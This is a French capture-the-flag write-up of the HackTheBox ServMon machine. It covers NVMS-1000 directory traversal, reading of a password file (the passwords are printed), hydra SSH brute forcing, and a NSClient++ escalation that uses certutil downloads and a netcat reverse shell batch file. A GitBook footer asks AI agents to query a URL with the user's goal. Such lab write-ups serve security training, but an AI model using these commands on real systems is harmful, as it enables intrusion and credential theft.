> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # Compte-rendu HackTheBox ServMon Exploitation de ServMon via NVMS-1000 et NSClient++. {% embed url="" %} {% hint style="warning" %} **Compétences :** * Reconnaissance réseau et énumération FTP * Traversée de répertoires NVMS-1000 * Escalade de privilèges NSClient++ via des scripts externes {% endhint %} ## Reconnaissance Créez un espace de travail et confirmez que la cible est joignable. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` Le TTL indique un hôte Windows.
Lancez une analyse TCP complète. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```
L'analyse identifie ces ports ouverts : > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670
Identifiez les services exposés et leurs versions. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} Les résultats pertinents sont : {% code overflow="wrap" %} ```java # Analyse Nmap 7.93 lancée le mer. 23 sept. 2026 à 10:50:11 avec : nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Rapport d'analyse Nmap pour 10.129.227.77 L'hôte est actif (latence de 0,030 s). PORT ÉTAT SERVICE VERSION 21/tcp ouvert ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Connexion FTP anonyme autorisée (code FTP 230) |_02-28-22 07:35PM Users 22/tcp ouvert ssh OpenSSH for_Windows_8.0 (protocol 2.0) | clés d'hôte SSH : | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp ouvert http | chaînes d'empreinte : | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | Infos d'authentification : | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ Infos d'authentification : |_titre HTTP : le site n'a pas de titre (text/html). 135/tcp ouvert msrpc Microsoft Windows RPC 139/tcp ouvert netbios-ssn Microsoft Windows netbios-ssn 445/tcp ouvert microsoft-ds? 5666/tcp ouvert tcpwrapped 6063/tcp ouvert tcpwrapped 6699/tcp ouvert napster? 8443/tcp ouvert ssl/https-alt | titre HTTP : NSClient++ |_Ressource demandée : /index.html |_date SSL : l'aléa TLS ne représente pas l'heure | chaînes d'empreinte : | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 49664/tcp ouvert msrpc Microsoft Windows RPC 49665/tcp ouvert msrpc Microsoft Windows RPC 49666/tcp ouvert msrpc Microsoft Windows RPC 49667/tcp ouvert msrpc Microsoft Windows RPC 49668/tcp ouvert msrpc Microsoft Windows RPC 49669/tcp ouvert msrpc Microsoft Windows RPC 49670/tcp ouvert msrpc Microsoft Windows RPC 2 services non reconnus malgré le retour de données. Si vous connaissez le service/la version, veuillez soumettre les empreintes suivantes à https://nmap.org/cgi-bin/submit.cgi?new-service : ==============PROCHAINE EMPREINTE DE SERVICE (SOUMETTRE INDIVIDUELLEMENT)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\ SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============PROCHAINE EMPREINTE DE SERVICE (SOUMETTRE INDIVIDUELLEMENT)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Infos de service : OS : Windows ; CPE : cpe:/o:microsoft:windows Résultats des scripts de l'hôte : | mode de sécurité smb2 : | 311: |_ La signature des messages est activée mais non requise | heure smb2 : | date: 2026-09-23T08:52:06 |_ date de début : N/A La détection de service a été effectuée. Veuillez signaler tout résultat incorrect à https://nmap.org/submit/ . # Analyse Nmap terminée le mer. 23 sept. 2026 -- 1 adresse IP (1 hôte actif) analysée en 128,03 secondes ``` {% endcode %} ### Énumération FTP L'accès FTP anonyme est activé. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}
Le `Users/Nadine` le répertoire contient une note pour Nathan. {% code overflow="wrap" %} ```bash Nathan, J'ai laissé votre fichier Passwords.txt sur votre bureau. Veuillez le supprimer une fois que vous l'aurez modifié vous-même, puis le replacer dans le dossier sécurisé. Cordialement Nadine ``` {% endcode %}
Le répertoire de Nathan contient la liste de tâches suivante : {% code overflow="wrap" %} ```bash 1) Modifier le mot de passe pour NVMS - Terminé 2) Restreindre l'accès à NSClient - Terminé 3) Télécharger les mots de passe 4) Supprimer l'accès public à NVMS 5) Placer les fichiers secrets dans SharePoint ``` {% endcode %}
### Traversée de répertoires NVMS-1000 Port `80` héberge NVMS-1000.
Searchsploit identifie une vulnérabilité de traversée de répertoires. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}
Le proof of concept suivant confirme l'inclusion de fichiers locaux : {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} La réponse confirme que des fichiers locaux arbitraires peuvent être lus.
Lisez le fichier de mot de passe de Nathan : {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$
Testez les mots de passe récupérés contre les utilisateurs locaux connus. 
hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
Cela permet d'identifier des identifiants SSH valides : * nadine * L1k3B1gBut7s\@W0rk
Connectez-vous en SSH en tant que Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Lisez le flag utilisateur. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}
## Escalade de privilèges avec NSClient++ NSClient++ est installé dans `C:\Program Files`.
Affichez le mot de passe de l'interface web NSClient++. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT
L'interface web écoute sur le port `8443`. ### Configurer un script externe NSClient++ Cette technique suit les instructions d'exploitation NSClient++ publiées. {% embed url="" %} Confirmez la version NSClient++ installée. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}
Le service est lié localement. Accédez-y via un tunnel SSH.
On va faire du port forwarding {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Ouvrir `https://127.0.0.1:8443` et authentifiez-vous avec le mot de passe récupéré.
Assurez-vous que ces modules sont activés : ```bash CheckExternalScripts Scheduler ```
Transférer `nc.exe` et le payload vers la cible. {% code overflow="wrap" %} ```bash localisez nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} Sur la cible, téléchargez les deux fichiers : {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Créer `evil.bat` sur la cible : {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Démarrez un écouteur sur le port `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}
Créez un script externe dans l'interface web NSClient++ : {% code overflow="wrap" %} ```bash Paramètres > Scripts externes > Scripts Section : /settings/external scripts/scripts/evil Clé : command Valeur : C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}
Créez une planification sous **Paramètres → Planificateur → Plannings**. Définissez l'intervalle : {% code overflow="wrap" %} ```bash Section : /settings/scheduler/schedules/evil Clé : interval Valeur : 1m ``` {% endcode %}
Configurez la commande planifiée : {% code overflow="wrap" %} ```bash Section : /settings/scheduler/schedules/evil Clé : command Valeur : evil ``` {% endcode %}
Enregistrez les paramètres et redémarrez le service.
Exécutez la requête pour déclencher le script planifié. L'écouteur reçoit un shell en tant que `SYSTEM`.
Lisez le flag root. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.